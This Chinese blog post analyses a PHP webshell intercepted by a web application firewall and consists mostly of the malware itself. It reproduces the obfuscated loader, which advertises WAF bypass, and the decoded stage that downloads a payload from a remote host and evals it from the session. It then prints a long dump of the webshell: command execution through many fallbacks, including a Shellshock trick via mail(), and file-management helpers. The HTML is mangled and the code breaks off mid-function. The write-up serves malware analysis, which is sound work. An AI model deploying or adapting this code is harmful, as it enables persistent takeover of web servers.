【webshell分析】PHP大马分析
起因
今天通过WAF拦截到了一个有趣的PHP大马，随后简单进行了分析。
一开始看到这段代码，还以为是变形的一句话木马，但通过本地执行发现功能挺强大的。
$password='admin';//登录密码
//本次更新：体积优化、压缩优化、命令优化、反弹优化、文件管理优化、挂马清马优化等大量功能细节优化。
//功能特色：PHP高版本低版本都能执行，文件短小精悍，方便上传，功能强大，提权无痕迹，无视waf，过安全狗、云锁、360、阿里云、护卫神等主流waf。同时支持菜刀、xise连接。
$html='$password'.'='."'".$password."';".'@e#html'.''.'v'."".''.''."".''.''.''.'a'.''.'l('.'g'.''."".''.''.'z'.'i'.''.''.'n'.'f'.'l'.''.''."".'a'.'t'.'e(b'.'as'.''.''.''."".''.'e'.'6'.''."".''."".""."".''.'4_'.'d'.'e'.'c'.''.''.''."".''."".'o'.'d'.'e'.'('."'lVZhb5tIEP0eKf9hg6ICEufgXBy1sSI1TTHJKcY5jJsmbYTwspitMUt3SWiT+r/fLLZjjN3UxxfE7sybN29nZtndIZwz7nOSMZ7TdKSZent3RxAhKEt9kQc81+QKjZC2R4Ugubbv961+/7LnfFGyOAsyqtzrOnre3UHw7GN0ilS1Pf96EIQHI5LmcrXLnmiSBAdHDRNpmE2yIKfDhLRRt39poeOG2UY3NA1ZIZDjoVbjUF/i8AQQhoEgx0d+SDALibb6pdwO4n7Xdqzh33fdrvnP460Z2uFhx3M+f6DDT9mhd5G5odn66Ny04k/N8bvz0empouuVCA4p6jGUq6cP10M7iYOmexl8dv7t2XHRtTtjbI9a2O4UgTfg+Ntdcns4Lm69uBXcZPndU/JIbKfo3Tg8nMSTq0JGmgeSQkYPKc6lvuQHFbnQ1EgwPGYZSdWlkiWrhKZjSDwLuCA+UNQkzwVUafH9gfCfYFKaflFB01i9rxrETEj1Rc5zlrCCcG1uKjfU+xWwKAPLFzJa6Wugt6aB9qFOUjZ7A5SBmmbVU2YF3ivkS0T2IIMrtuWhg+cZ2Sm68Lzrg2bD/Mq/pkp7g0cDXC4g9gl6LjlMX7UcQJH9dSar7AT9/xp7FfqcpSkpz+oEnSdMEGm9ySMqOM2J1MAovfU6Ik1jEoSEgxrN+h5maQ7shVSqDlzENCHQexFhUSnxmsaLQiHy7EYE6qlkcWS+O66zeDmqJZtTZG5EXCXWmBUY2YA3/VOIN2+QNucH+YF06NcvVFmQauq/51ARzvxz+NpnhOWhlbqtiS6bZpFgZXOOMF226x4UfMZAVmws5oQus1prYwybPk1prr6yT34QXG9zHAOZF2+tyrVchbHLMpi8ODbQ+cC96l17PrxmdLay9i67Vm/gQd+2trJ3LW/gOp575vQ7lmsgzx1Y29HqW+6ZbTmeUZn+K0MGL3KVSkjnNdz5oS13tjgMEM6H4tfUIIEpJ2elH22aqDmZZLLR3kfQV2vjtIwAFvlPbWap6xvK5j2dZIm8HlTVmCOugVRoKiFJPlJ+loYdiKlshpR0ZAL+oiRXuFUE2JT/HjRSFCSC1MpqNvfl7Z4EeJYt2AMjBZzxyqmsX+rgPHqiaZQEef2yBd8Ks+ns92CLvwPyGCQbLQBs+h8=')));";$css=base64_decode("Q3JlYXRlX0Z1bmN0aW9u");$style=$css('',preg_replace("/#html/","",$html));$style();/*));.'执行效果，竟然是个大马：
为什么这么短的代码会有如此强大的功能呢？不由得分析了。
分析过程
1、解密
直接var_dump($html)；发现这里用了PHP的gzinflate函数进行了压缩
gzinflate(base64_decode('lVZhb5tIEP0eKf9hg6ICEufgXBy1sSI1TTHJKcY5jJsmbYTwspitMUt3SWiT+r/fLLZjjN3UxxfE7sybN29nZtndIZwz7nOSMZ7TdKSZent3RxAhKEt9kQc81+QKjZC2R4Ugubbv961+/7LnfFGyOAsyqtzrOnre3UHw7GN0ilS1Pf96EIQHI5LmcrXLnmiSBAdHDRNpmE2yIKfDhLRRt39poeOG2UY3NA1ZIZDjoVbjUF/i8AQQhoEgx0d+SDALibb6pdwO4n7Xdqzh33fdrvnP460Z2uFhx3M+f6DDT9mhd5G5odn66Ny04k/N8bvz0empouuVCA4p6jGUq6cP10M7iYOmexl8dv7t2XHRtTtjbI9a2O4UgTfg+Ntdcns4Lm69uBXcZPndU/JIbKfo3Tg8nMSTq0JGmgeSQkYPKc6lvuQHFbnQ1EgwPGYZSdWlkiWrhKZjSDwLuCA+UNQkzwVUafH9gfCfYFKaflFB01i9rxrETEj1Rc5zlrCCcG1uKjfU+xWwKAPLFzJa6Wugt6aB9qFOUjZ7A5SBmmbVU2YF3ivkS0T2IIMrtuWhg+cZ2Sm68Lzrg2bD/Mq/pkp7g0cDXC4g9gl6LjlMX7UcQJH9dSar7AT9/xp7FfqcpSkpz+oEnSdMEGm9ySMqOM2J1MAovfU6Ik1jEoSEgxrN+h5maQ7shVSqDlzENCHQexFhUSnxmsaLQiHy7EYE6qlkcWS+O66zeDmqJZtTZG5EXCXWmBUY2YA3/VOIN2+QNucH+YF06NcvVFmQauq/51ARzvxz+NpnhOWhlbqtiS6bZpFgZXOOMF226x4UfMZAVmws5oQus1prYwybPk1prr6yT34QXG9zHAOZF2+tyrVchbHLMpi8ODbQ+cC96l17PrxmdLay9i67Vm/gQd+2trJ3LW/gOp575vQ7lmsgzx1Y29HqW+6ZbTmeUZn+K0MGL3KVSkjnNdz5oS13tjgMEM6H4tfUIIEpJ2elH22aqDmZZLLR3kfQV2vjtIwAFvlPbWap6xvK5j2dZIm8HlTVmCOugVRoKiFJPlJ+loYdiKlshpR0ZAL+oiRXuFUE2JT/HjRSFCSC1MpqNvfl7Z4EeJYt2AMjBZzxyqmsX+rgPHqiaZQEef2yBd8Ks+ns92CLvwPyGCQbLQBs+h8='))
再次解压缩并Base64解码：
发现原来是通过socket或curl远程读取服务器phpapi.info上的大马数据，有意思的一点是把大马数据保存在session中，而不是写到文件中，所以要根据代码查杀是不行的。只要服务器不清除session中的数据，大马就会一直存在。
error_reporting(0);
session_start();
if (!isset($_SESSION["phpapi"])) {
$c = '';
$useragent = 'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2)';
$url = base64_decode(base64_decode("YUhSMGNEb3ZMM0JvY0dGd2FTNXBibVp2THpRd05DNW5hV1k9Cg=="));
$urlNew= base64_decode("LzBPbGlha1RIaXNQOGhwMGFkcGg5cGFwaTUrcjZlY2kwYTh5aWptZzlveGNwOWNrdmhmLw==");
if (function_exists('fsockopen')) {
$link = parse_url($url);
$query = $link['path']; //404.gif
$host = strtolower($link['host']); //phpapi.info
$fp = fsockopen($host, 80, $errno, $errstr, 10);
if ($fp) {
$out = "GET /{$query} HTTP/1.0rn"; $out .= "Host: {$host}rn"; $out .= "User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2)rn"; $out .= "Connection: Closernrn"; //GET //404.gif HTTP/1.0rnHost: phpapi.infornUser-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2)rnConnection: Closernrn
fwrite($fp, $out);
$inheader = 1;
$contents = "";
while (!feof($fp)) { $line = fgets($fp, 4096);
if ($inheader == 0) { $contents .= $line; } if ($inheader && ($line == "n" || $line == "rn")) { $inheader = 0; } } fclose($fp); $c = $contents; } } if (!strpos($c, $urlNew) && function_exists('curl_init') && function_exists('curl_exec')) { $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $url); curl_setopt($ch, CURLOPT_TIMEOUT, 15); curl_setopt($ch, CURLOPT_RETURNTRANSFER, TRUE); curl_setopt($ch, CURLOPT_USERAGENT, $useragent); $c = curl_exec($ch); curl_close($ch); } if (!strpos($c, $urlNew) && ini_get('allow_url_fopen')) { $temps = @file($url); if (!empty($temps)) $c = @implode('', $temps); if (!strpos($c, "delDirAndFile")) $c = @file_get_contents($url); } if (strpos($c, $urlNew) !== false) { $c = str_replace($urlNew, "", $c); $_SESSION["phpapi"] = gzinflate(base64_decode($c)); } } if (isset($_SESSION["phpapi"])) { eval($_SESSION["phpapi"]); }
dump出seesion中的大马数据
error_reporting(0);
date_default_timezone_set('UTC');
ob_start();
define('myaddress', $_SERVER['SCRIPT_FILENAME']);
define('postpass', $password);
function Exec_Run($cmd)
{
$res = '';
if (function_exists('exec')) {
@exec($cmd, $res);
$res = join("\n", $res);
} elseif (function_exists('shell_exec')) {
$res = @shell_exec($cmd);
} elseif (function_exists('system')) {
@ob_start();
@system($cmd);
$res = @ob_get_contents();
@ob_end_clean();
} elseif (function_exists('passthru')) {
@ob_start();
@passthru($cmd);
$res = @ob_get_contents();
@ob_end_clean();
} elseif (@is_resource($f = @popen($cmd, 'r'))) {
$res = '';
while (!@feof($f)) {
$res .= @fread($f, 1024);
}
@pclose($f);
} elseif (substr(dirname($_SERVER["SCRIPT_FILENAME"]), 0, 1) != "/" && class_exists('COM')) {
$w = new COM('WScript.shell');
$e = $w->exec($cmd);
$f = $e->StdOut();
$res = $f->ReadAll();
} elseif (function_exists('proc_open')) {
$length = strcspn($cmd, " \t");
$token = substr($cmd, 0, $length);
if (isset($aliases[$token])) $cmd = $aliases[$token] . substr($cmd, $length);
$p = proc_open($cmd, array(1 => array('pipe', 'w'), 2 => array('pipe', 'w')), $io);
while (!feof($io[1])) {
$res .= htmlspecialchars(fgets($io[1]), ENT_COMPAT, 'UTF-8');
}
while (!feof($io[2])) {
$res .= htmlspecialchars(fgets($io[2]), ENT_COMPAT, 'UTF-8');
}
fclose($io[1]);
fclose($io[2]);
proc_close($p);
} elseif (function_exists('mail')) {
if (strstr(readlink("/bin/sh"), "bash") != FALSE) {
$tmp = tempnam(".", "data");
putenv("PHP_LOL=() { x; }; $cmd >$tmp 2>&1");
mail("[email protected]", "", "", "", "-bv");
} else $res = "Not vuln (not bash)";
$output = @implode('', @file($tmp));
@unlink($tmp);
if ($output != "") $res = $output; else $res = "No output, or not vuln.";
}
return $res;
}
function css_img($img)
{
$images = array(
"exe" =>
"R0lGODlhEwAOAKIAAAAAAP///wAAvcbGxoSEhP///wAAAAAAACH5BAEAAAUALAAAAAATAA4AAAM7" .
"WLTcTiWSQautBEQ1hP+gl21TKAQAio7S8LxaG8x0PbOcrQf4tNu9wa8WHNKKRl4sl+y9YBuAdEqt" .
"xhIAOw==",
"dir" => "R0lGODlhEwAQALMAAAAAAP///5ycAM7OY///nP//zv/OnPf39////wAAAAAAAAAAAAAAA" .
"AAAAAAAAAAAACH5BAEAAAgALAAAAAATABAAAARREMlJq7046yp6BxsiHEVBEAKYCUPrDp7HlXRdE" .
"oMqCebp/4YchffzGQhH4YRYPB2DOlHPiKwqd1Pq8yrVVg3QYeH5RYK5rJfaFUUA3vB4fBIBADs=",
"txt" =>
"R0lGODlhEwAQAKIAAAAAAP///8bGxoSEhP///wAAAAAAAAAAACH5BAEAAAQALAAAAAATABAAAANJ" .
"SArE3lDJFka91rKpA/DgJ3JBaZ6lsCkW6qqkB4jzF8BS6544W9ZAW4+g26VWxF9wdowZmznlEup7" .
"UpPWG3Ig6Hq/XmRjuZwkAAA7",
"html" =>
"R0lGODlhEwAQALMAAAAAAP///2trnM3P/FBVhrPO9l6Itoyt0yhgk+Xy/WGp4sXl/i6Z4mfd/HNz" .
"c////yH5BAEAAA8ALAAAAAATABAAAAST8Ml3qq1m6nmC/4GhbFoXJEO1CANDSociGkbACHi20U3P" .
"KIFGIjAQODSiBWO5NAxRRmTggDgkmM7E6iipHZYKBVNQSBSikukSwW4jymcupYFgIBqL/MK8KBDk" .
"Bkx2BXWDfX8TDDaFDA0KBAd9fnIKHXYIBJgHBQOHcg+VCikVA5wLpYgbBKurDqysnxMOs7S1sxIR" .
"ADs=",
"js" =>
"R0lGODdhEAAQACIAACwAAAAAEAAQAIL///8AAACAgIDAwMD//wCAgAAAAAAAAAADUCi63CEgxibH" .
"k0AQsG200AQUJBgAoMihj5dmIxnMJxtqq1ddE0EWOhsG16m9MooAiSWEmTiuC4Tw2BB0L8FgIAhs" .
"a00AjYYBbc/o9HjNniUAADs=",
"xml" =>
"R0lGODlhEAAQAEQAACH5BAEAABAALAAAAAAQABAAhP///wAAAPHx8YaGhjNmmabK8AAAmQAAgACA" .
"gDOZADNm/zOZ/zP//8DAwDPM/wAA/wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" .
"AAAAAAAAAAAAAAAAAAVk4CCOpAid0ACsbNsMqNquAiA0AJzSdl8HwMBOUKghEApbESBUFQwABICx" .
"OAAMxebThmA4EocatgnYKhaJhxUrIBNrh7jyt/PZa+0hYc/n02V4dzZufYV/PIGJboKBQkGPkEEQ" .
"IQA7",
"mp3" =>
"R0lGODlhEAAQACIAACH5BAEAAAYALAAAAAAQABAAggAAAP///4CAgMDAwICAAP//AAAAAAAAAANU" .
"aGrS7iuKQGsYIqpp6QiZRDQWYAILQQSA2g2o4QoASHGwvBbAN3GX1qXA+r1aBQHRZHMEDSYCz3fc" .
"IGtGT8wAUwltzwWNWRV3LDnxYM1ub6GneDwBADs=",
"img" =>
"R0lGODlhEAAQADMAACH5BAEAAAkALAAAAAAQABAAgwAAAP///8DAwICAgICAAP8AAAD/AIAAAACA" .
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAARccMhJk70j6K3FuFbGbULwJcUhjgHgAkUqEgJNEEAgxEci" .
"Ci8ALsALaXCGJK5o1AGSBsIAcABgjgCEwAMEXp0BBMLl/A6x5WZtPfQ2g6+0j8Vx+7b4/NZqgftd" .
"FxEAOw==",
"title" => "R0lGODlhDgAOAMQAAOGmGmZmZv//xVVVVeW6E+K2F/+ZAHNzcf+vAGdnaf/AAHt1af+" .
"mAP/FAP61AHt4aXNza+WnFP//zAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" .
"ACH5BAAHAP8ALAAAAAAOAA4AAAVJYPIcZGk+wUM0bOsWoyu35KzceO3sjsTvDR1P4uMFDw2EEkGUL" .
"I8NhpTRnEKnVAkWaugaJN4uN0y+kr2M4CIycwEWg4VpfoCHAAA7",
"rar" => "R0lGODlhEAAQAPf/AAAAAAAAgAAA/wCAAAD/AACAgIAAAIAAgP8A/4CAAP//AMDAwP///wAA" .
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" .
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" .
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" .
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" .
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" .
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" .
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" .
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" .
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" .
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" .
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" .
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" .
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" .
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAD/ACH5BAEKAP8ALAAAAAAQABAAAAiFAP0YEEhwoEE/" .
"/xIuEJhgQYKDBxP+W2ig4cOCBCcyoHjAQMePHgf6WbDxgAIEKFOmHDmSwciQIDsiXLgwgZ+b" .
"OHOSXJiz581/LRcE2LigqNGiLEkKWCCgqVOnM1naDOCHqtWbO336BLpzgAICYMOGRdgywIIC" .
"aNOmRcjVj02tPxPCzfkvIAA7"
);
header('Content-type: image/gif');
echo base64_decode($images[$img]);
die();
}
function css_showimg($file)
{
$it = substr($file, -3);
switch ($it) {
case "jpg":
case "gif":
case "bmp":
case "png":
case "ico":
return 'img';
break;
case "htm":
case "tml":
return 'html';
break;
case "exe":
case "com":
return 'exe';
break;
case "xml":
case "doc":
return 'xml';
break;
case ".js":
case "vbs":
return 'js';
break;
case "mp3":
case "wma":
case "wav":
case "swf":
case ".rm":
case "avi":
case "mp4":
case "mvb":
return 'mp3';
break;
case "rar":
case "tar":
case ".gz":
case "zip":
case "iso":
return 'rar';
break;
default:
return 'txt';
break;
}
}
function html_n($data)
{
echo "$data\n";
}
function muma($filecode, $filetype)
{
$dim = array(
"php" => array("eval(", "exec("),
"asp" => array("WScript.Shell", "execute(", "createtextfile("),
"aspx" => array("Response.Write(eval(", "RunCMD(", "CreateText()"),
"jsp" => array("runtime.exec(")
);
foreach ($dim[$filetype] as $code) {
if (stristr($filecode, $code)) return true;
}
}
function debug($file, $ftype)
{
$type = explode('|', $ftype);
foreach ($type as $i) {
if (stristr($file, $i)) return true;
}
}
function str_path($path)
{
return str_replace('//', '/', $path);
}
function msg($msg)
{
die("");
}
function uppath($nowpath)
{
$nowpath = str_replace('\\', '/', dirname($nowpath));
return urlencode($nowpath);
}
function html_ta($url, $name)
{
html_n("$url\" target=\"_blank\">$name");
}
function html_a($url, $name, $where = '')
{
html_n("$url\" $where>$name ");
}
function html_img($url)
{
html_n("![](\"?img=<span)
$url\" border=0>");
}
function back()
{
html_n("");
}
function html_radio($namei, $namet, $v1, $v2)
{
html_n('. $v1 . '" checked>' . $namei);
html_n('. $v2 . '">' . $namet . '
');
}
function html_input($type, $name, $value = '', $text = '', $size = '', $mode = false)
{
if ($mode) {
html_n("$type\" name=\"$name\" value=\"$value\" size=\"$size\" checked>$text");
} else {
html_n("$text $type\" name=\"$name\" value=\"$value\" size=\"$size\">");
}
}
function html_text($name, $cols, $rows, $value = '')
{
html_n("
");
}
function html_select($array, $mode = '', $change = '', $name = 'class')
{
html_n(" $change>");
foreach ($array as $name => $value) {
if ($name == $mode) {
html_n("\" selected>$value");
} else {
html_n("\">$value");
}
}
html_n("");
}
function html_font($color, $size, $name)
{
html_n("$color\" size=\"$size\">$name");
}
function File_Str($string)
{
return str_replace('//', '/', str_replace('\\', '/', $string));
}
function File_Write($filename, $filecode, $filemode)
{
$key = true;
$handle = @fopen($filename, $filemode);
if (!@fwrite($handle, $filecode)) {
@chmod($filename, 0666);
$key = @fwrite($handle, $filecode) ? true : false;
}
@fclose($handle);
return $key;
}
/*
function File_Mode()
{
$RealPath = realpath('./');
$SelfPath = $_SERVER['PHP_SELF'];
$SelfPath = substr($SelfPath, 0, strrpos($SelfPath, '/'));
return File_Str(substr($RealPath, 0, strlen($RealPath) - strlen($SelfPath)));
}
*/
function File_Mode()
{
if (isset($_SERVER['DOCUMENT_ROOT'])) {
return str_replace('//', '/', str_replace('\\', '/', $_SERVER['DOCUMENT_ROOT']));
}
$all=$_SERVER['SCRIPT_FILENAME'];
$ban=$_SERVER['SCRIPT_NAME'];
$file= basename($ban);
$ban=substr($ban,0,strlen($ban) - strlen($file));
if(substr($ban,-1)=="/")
$ban=substr($ban,0,strlen($ban)-1);
$ban= str_replace('//', '/', str_replace('\\', '/', $ban));
$all= str_replace('//', '/', str_replace('\\', '/', $all));
if($ban=="")
$index= strripos($all,"/".$file);
else
$index= strripos($all,$ban);
$all= substr($all,0,$index);
return $all;
}
function GetFileOwner($File)
{
if (PATH_SEPARATOR == ':') {
if (function_exists('posix_getpwuid')) {
$File = posix_getpwuid(fileowner($File));
}
return $File['name'];
}
}
function GetFileGroup($File)
{
if (PATH_SEPARATOR == ':') {
if (function_exists('posix_getgrgid')) {
$File = posix_getgrgid(filegroup($File));
}
return $File['name'];
}
}
function File_Size($size)
{
$kb = 1024;
$mb = 1024 * $kb;
$gb = 1024 * $mb;
$tb = 1024 * $gb;
$db = 1024 * $tb;
if ($size < $kb) {
return $size . " B";
} else if ($size < $mb) {
return round($size / $kb, 2) . " K";
} else if ($size < $gb) {
return round($size / $mb, 2) . " M";
} else if ($size < $tb) {
return round($size / $gb, 2) . " G";
} else if ($size < $db) {
return round($size / $tb, 2) . " T";
} else {
return round($size / $db, 2) . " ST";
}
}
function File_Read($filename)
{
$handle = @fopen($filename, "rb");
$filecode = @fread($handle, @filesize($filename));
@fclose($handle);
return $filecode;
}
function array_iconv($data, $output = 'utf-8')
{
$encode_arr = array('UTF-8', 'ASCII', 'GBK', 'GB2312', 'BIG5', 'JIS', 'eucjp-win', 'sjis-win', 'EUC-JP');
$encoded = mb_detect_encoding($data, $encode_arr);
if (!is_array($data)) {
return mb_convert_encoding($data, $output, $encoded);
} else {
foreach ($data as $key => $val) {
$key = array_iconv($key, $output);
if (is_array($val)) {
$data[$key] = array_iconv($val, $output);
} else {
$data[$key] = mb_convert_encoding($data, $output, $encoded);
}
}
return $data;
}
}
function Mysql_Len($data, $len)
{
if (strlen($data) < $len) return $data;
return substr_replace($data, '...', $len);
}
function css_js($num, $code = '')
{
html_n('");
}
function css_left()
{
$str = <<<end
end;
html_n($str);
$str = <<<end